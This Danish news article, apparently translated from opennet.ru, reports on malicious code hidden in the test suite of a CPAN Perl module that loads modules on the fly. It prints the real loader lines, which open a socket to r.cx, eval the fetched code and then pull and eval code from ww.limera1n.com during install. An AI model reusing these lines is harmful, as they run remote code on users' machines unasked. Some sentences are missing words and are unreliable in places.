I den udgivet Perl-pakke via CPAN-kataloget , der er beregnet til automatisk at indlæse CPAN-moduler on-the-fly, ondsindet kode. Den ondsindede injektion blev i testkoden , som har været tilgængelig siden 2011.
Bemærkelsesværdigt er det, at spørgsmål om indlæsning af tvivlsom kode opstod på allerede i 2016.
Den ondsindede aktivitet består i et forsøg på at indlæse og udføre kode fra en ekstern server (http://r.cx:1/) under udførelsen af et test suite, der køres ved installationen af modulet. Det antages, at den kode, der oprindeligt blev indlæst fra den eksterne server, ikke var ondsindet, men nu omdirigeres forespørgslen til domænet ww.limera1n.com, som leverer sin del af koden til udførelse.
For at organisere indlæsningen bruges følgende kode i filen :
my $prog = __FILE__;
$prog =~ s{[^\/]+\.t}{..\/contrib\/RCX.pl}x;
my $try = `$^X $prog`;
Den angivne kode fører til udførelsen af scriptet , hvis indhold reduceres til følgende streng:
use lib do{eval&&botstrap(“RCX”)if$b=new IO::Socket::INET 82.46.99.88.”:1”};
Dette script indlæser ved hjælp af tjenesten kode fra den eksterne vært r.cx (IP-adresserne 82.46.99.88 svarer til teksten “R.cX”) og udfører den i eval-blokken.
$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.”:1”; print ;’
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Efter udpakkningen udføres følgende :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1
I øjeblikket er den problematiske pakke fjernet fra lageret (Perl Authors Upload Server), og forfatterens konto til modulet er blevet blokeret. Modulet forbliver dog i arkivet MetaCPAN og kan direkte installeres fra MetaCPAN ved hjælp af nogle værktøjer som cpanminus. , at pakken ikke var bredt distribueret.
Det er interessant, at diskussionen og autoren af modulet, der afkræftede oplysningerne om, at ondsindet kode blev indsat efter hackingen af hans websted "r.cx", forklarede, at han bare havde det sjovt, og at perlobfuscator.com ikke blev brugt til at skjule noget, men til at forkorte koden og gøre det lettere at kopiere den via clipboard. Valget af funktionsnavnet "botstrap" blev forklaret med, at det ord "lyder som bot og er kortere end bootstrap". Forfatteren af modulet forsikrede også, at de afslørede manipulationer ikke udfører skadelige handlinger, men blot viser indlæsning og udførelse af kode via TCP.
Kilde: opennet.ru
